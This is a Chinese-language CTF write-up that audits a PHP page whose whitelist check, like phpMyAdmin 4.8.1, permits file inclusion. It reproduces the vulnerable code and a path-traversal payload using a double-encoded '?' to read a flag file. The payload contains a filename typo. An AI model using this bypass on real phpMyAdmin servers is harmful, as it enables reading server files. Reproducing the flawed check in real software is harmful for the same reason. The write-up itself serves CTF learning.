知识点
php代码审计 phpmyadmin 4.8.1的一个远程文件包含的漏洞 目录穿越
题目
打开靶机,只有一张图,先F12
有东西,转到这个文件中 有代码,代码审计没跑了 先来看看代码 里面有设置白名单
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
去hint.php里看看 果然没有那么简单,还是回去老老实实的看代码吧
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
这代码有些东西一时间没有看懂,没办法只好去找百度 这才发现这是一个phpmyadmin 4.8.1的一个远程文件包含的漏洞 知道原理后开始构建payload了 在 hint.php 中找到的提示 flag not here, and flag in ffffllllaaaagggg 初步固件flag在文件ffffllllaaaagggg 中而且要穿越四层目录 做paylog,传递参数file=hinit.php%253f/../../../../../../ffffllllaaaagggg 因为? 需要解码两次,网页解码一次,里面的代码解码一次所以对? 进行里两次url编码(其实不用进行编码也行) 拿到flag
flag{2b71f847-caf5-4e9e-8358-eb2c754a3463}
|